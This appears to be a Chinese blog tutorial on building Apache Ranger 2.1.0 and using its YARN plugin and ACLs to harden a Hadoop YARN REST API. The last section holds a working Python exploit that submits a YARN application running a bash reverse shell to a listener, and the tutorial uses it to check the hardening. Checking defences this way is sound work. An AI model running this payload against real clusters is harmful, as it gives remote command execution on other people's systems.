为啥要加固yarn的rest API，如果你不知道这个危害，请先跳到[验证开启后Ranger加固的yarn API能否任意用户提交](#0x04 验证开启后Ranger加固的yarn API能否任意用户提交)做一个小实验。

0x00 编译Ranger 2.10

Ranger当前在GitHub中最新版本是2.2.0。安装ranger需要源码安装，官方没有提供编译好的二进制包，同时，对于要使用ranger部署的Hadoop组件，需要考虑到版本之间的兼容性。

官网地址：https://ranger.apache.org/

Git地址：https://github.com/apache/ranger

需要提前安装JDK 8
和Maven 3.6.2，git，python3。

1
git clone --branch release-ranger-2.1.0 https://github.com/apache/ranger.git

编译RANGER-2.1.0

1
2
cd /opt/ranger-release-ranger-2.1.0
mvn clean compile package install -DskipTests -Drat.skip=true -X

如果编译编译过程中代码审计pmd报错，增加-Dpmd.skip=true跳过代码审计。大约十多分钟或者更长（时间取决于当前网络和配置环境），可编译完成。本人mac环境编译的时候，出现pmd的问题，重新编译发现好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary for ranger 2.1.0:
[INFO] 
[INFO] ranger ............................................. SUCCESS [  7.944 s]
[INFO] Jdbc SQL Connector ................................. SUCCESS [  6.473 s]
[INFO] Credential Support ................................. SUCCESS [ 10.465 s]
[INFO] Audit Component .................................... SUCCESS [ 15.970 s]
[INFO] ranger-plugin-classloader .......................... SUCCESS [  4.009 s]
[INFO] Common library for Plugins ......................... SUCCESS [ 27.224 s]
[INFO] ranger-intg ........................................ SUCCESS [ 12.193 s]
[INFO] Installer Support Component ........................ SUCCESS [  5.599 s]
[INFO] Credential Builder ................................. SUCCESS [  8.060 s]
[INFO] Embedded Web Server Invoker ........................ SUCCESS [  9.956 s]
[INFO] Key Management Service ............................. SUCCESS [ 25.738 s]
[INFO] HBase Security Plugin Shim ......................... SUCCESS [ 14.372 s]
[INFO] HBase Security Plugin .............................. SUCCESS [ 20.089 s]
[INFO] Hdfs Security Plugin ............................... SUCCESS [ 13.964 s]
[INFO] Hive Security Plugin ............................... SUCCESS [ 26.883 s]
[INFO] Knox Security Plugin Shim .......................... SUCCESS [  9.238 s]
[INFO] Knox Security Plugin ............................... SUCCESS [ 15.365 s]
[INFO] Storm Security Plugin .............................. SUCCESS [ 11.507 s]
[INFO] YARN Security Plugin ............................... SUCCESS [  6.555 s]
[INFO] Ozone Security Plugin .............................. SUCCESS [ 10.283 s]
[INFO] Ranger Util ........................................ SUCCESS [  9.566 s]
[INFO] Unix Authentication Client ......................... SUCCESS [  4.494 s]
[INFO] Security Admin Web Application ..................... SUCCESS [10:28 min]
[INFO] KAFKA Security Plugin .............................. SUCCESS [ 33.178 s]
[INFO] SOLR Security Plugin ............................... SUCCESS [01:01 min]
[INFO] NiFi Security Plugin ............................... SUCCESS [  8.443 s]
[INFO] NiFi Registry Security Plugin ...................... SUCCESS [ 10.814 s]
[INFO] Presto Security Plugin ............................. SUCCESS [ 22.196 s]
[INFO] Kudu Security Plugin ............................... SUCCESS [  7.895 s]
[INFO] Unix User Group Synchronizer ....................... SUCCESS [01:01 min]
[INFO] Ldap Config Check Tool ............................. SUCCESS [  4.519 s]
[INFO] Unix Authentication Service ........................ SUCCESS [  8.384 s]
[INFO] KMS Security Plugin ................................ SUCCESS [ 17.510 s]
[INFO] Tag Synchronizer ................................... SUCCESS [ 28.337 s]
[INFO] Hdfs Security Plugin Shim .......................... SUCCESS [  6.519 s]
[INFO] Hive Security Plugin Shim .......................... SUCCESS [ 37.575 s]
[INFO] YARN Security Plugin Shim .......................... SUCCESS [  6.836 s]
[INFO] OZONE Security Plugin Shim ......................... SUCCESS [  7.100 s]
[INFO] Storm Security Plugin shim ......................... SUCCESS [  8.423 s]
[INFO] KAFKA Security Plugin Shim ......................... SUCCESS [  7.447 s]
[INFO] SOLR Security Plugin Shim .......................... SUCCESS [  7.916 s]
[INFO] Atlas Security Plugin Shim ......................... SUCCESS [  9.427 s]
[INFO] KMS Security Plugin Shim ........................... SUCCESS [  7.915 s]
[INFO] Presto Security Plugin Shim ........................ SUCCESS [ 18.663 s]
[INFO] ranger-examples .................................... SUCCESS [  0.546 s]
[INFO] Ranger Examples - Conditions and ContextEnrichers .. SUCCESS [  7.152 s]
[INFO] Ranger Examples - SampleApp ........................ SUCCESS [  2.304 s]
[INFO] Ranger Examples - Ranger Plugin for SampleApp ...... SUCCESS [  5.534 s]
[INFO] sample-client ...................................... SUCCESS [  7.678 s]
[INFO] Apache Ranger Examples Distribution ................ SUCCESS [ 16.708 s]
[INFO] Ranger Tools ....................................... SUCCESS [ 18.736 s]
[INFO] Atlas Security Plugin .............................. SUCCESS [ 10.479 s]
[INFO] SchemaRegistry Security Plugin ..................... SUCCESS [02:13 min]
[INFO] Sqoop Security Plugin .............................. SUCCESS [ 15.775 s]
[INFO] Sqoop Security Plugin Shim ......................... SUCCESS [  7.302 s]
[INFO] Kylin Security Plugin .............................. SUCCESS [01:29 min]
[INFO] Kylin Security Plugin Shim ......................... SUCCESS [  8.446 s]
[INFO] Elasticsearch Security Plugin Shim ................. SUCCESS [  5.992 s]
[INFO] Elasticsearch Security Plugin ...................... SUCCESS [ 12.424 s]
[INFO] Apache Ranger Distribution ......................... SUCCESS [04:26 min]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  31:36 min
[INFO] Finished at: 2022-11-14T09:57:11+08:00
[INFO] ------------------------------------------------------------------------

编译成功后，在ranger当前目录下的target下生成各种插件包：

image-20221114163713312

0x01 使用ranger-yarn-plugin加固yarn

问题参考：Apache Ranger中Yarn插件使用问题

我们在ranger的target目录下，找到ranger-2.1.0-yarn-plugin.tar.gz文件，通过scp命令复制到USDP安装yarn的路径下：/opt/usdp-srv/srv/udp/2.0.0.0/yarn/:

ranger插件需要安装到yarn的ResourceManager节点，其他yarn节点不安装。

1
scp target/ranger-2.1.0-yarn-plugin.tar.gz root@10.20.210.41:/opt/usdp-srv/srv/udp/2.0.0.0/yarn/

待上传成功后，登录10.20.210.41服务器，解压该文件：

1
2
3
cd /opt/usdp-srv/srv/udp/2.0.0.0/yarn/
tar -zxvf ranger-2.1.0-yarn-plugin.tar.gz
mv ranger-2.1.0-yarn-plugin ranger-yarn-plugin

在/opt/usdp-srv/srv/udp/2.0.0.0/yarn/ranger-yarn-plugin中找到install.properties配置文件，对其进行配置(仅仅修改下面这几个值，其他的不改变)：

1
2
3
4
5
6
7
# POLICY_MGR_URL=http://10.20.210.44:6080,这个可以配置为具体的RANGER-ADMIN的服务器IP，
# 也可以像下面这样配置，想必USDP做了一定的处理，能找到POLICY_MGR_URL这个变量
POLICY_MGR_URL={{POLICY_MGR_URL}}
REPOSITORY_NAME=ranger-yarn-service
COMPONENT_INSTALL_DIR_NAME=/srv/udp/2.0.0.0/yarn
CUSTOM_USER=hadoop
CUSTOM_GROUP=hadoop

保存配置文件，我们以root的身份执行./enable-yarn-plugin.sh，对插件安装。

检验是否安装成功，可以通过/srv/udp/2.0.0.0/yarn/etc/hadoop/yarn-site.xml文件的内容可以判断：

1
2
3
4
5
6
7
8
9
10
11
12
13
<property>
        <name>yarn.acl.enable</name>
        <value>true</value>
    </property>
    <property>
        <name>yarn.admin.acl</name>
        <value/>
    </property>

    <property>
        <name>yarn.authorization-provider</name>
        <value>org.apache.ranger.authorization.yarn.authorizer.RangerYarnAuthorizer</value>
    </property>

有org.apache.ranger.authorization.yarn.authorizer.RangerYarnAuthorizer表示配置成功了。

0x02 修改yarn的调度模式为Capacity

yarn有三种调度模式：FIFO Scheduler、Cacpacity Scheduler和Fair Scheduler。默认为Fair Scheduler。

依然在yarn-site.xml中修改配置，请注意不要通过USDP的控制台修改，会覆盖已经配置的信息。

1
2
3
4
5
6
7
<property>
	<name>yarn.resourcemanager.scheduler.class</name>
	<!-- 默认是容量调度器 -->
	<!--<value>org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.FairScheduler</value>-->
     	 	<value>org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.CapacityScheduler</value>
</property>

至此，yarn的配置结束，我们在USDP控制台重启yarn resourceManager组件。

0x03 在Ranger-Admin UI配置yarn ACL

在USDP服务管理的安全类中打开ranger-admin的管理平台。

登录管理后台：

Ranger管理后台登录界面

默认登录用户名密码为：admin/admin

在Ranger的服务管理界面找到YARN的服务配置，点击“＋”，添加新的配置。

image-20221114170456627

配置内容如下：

Name Value
Service Name ranger-yarn-service 必须，和install.properties中配置的保持一致
Display Name ranger-yarn-service 随便写
Username hadoop 必须是hadoop
Password hadoop 必须是hadoop
YARN REST URL http://10.20.210.53:8088,http://10.20.210.54:8088 yarn ResourceManager的地址
Authentication Type Simple
Add New Configurations policy.download.auth.users=hadoop
policy.grantrevoke.auth.users=hadoop		 该项配置中，=前面的是key，=后面的是value

其他的ACL权限的配置，参考网络教程，一大堆翻翻即可。

0x04 验证开启后Ranger加固的yarn API能否任意用户提交

这段python代码是通过yarn的rest api获取一个application-id，然后通过该application-id执行bash命令。将下面的代码保存在invoke.py中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import requests

target = 'http://10.20.210.53:8088/'
lhost = '10.30.1.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

在你的机器上打开两个命令窗口，第一个执行监听9999端口：

1
nc -l 9999

另外一个窗口执行python脚本：

1
python invoke.py

结论：

  • 如果注入成功，监听9999端口的窗口会登录到目标机10.20.210.53，在窗口执行pwd就会发现有/tmp/xxxx/application-id相关字样。
  • 如果注入被拦截，9999监听窗口不会有变化，执行python脚本的窗口也不会有变化。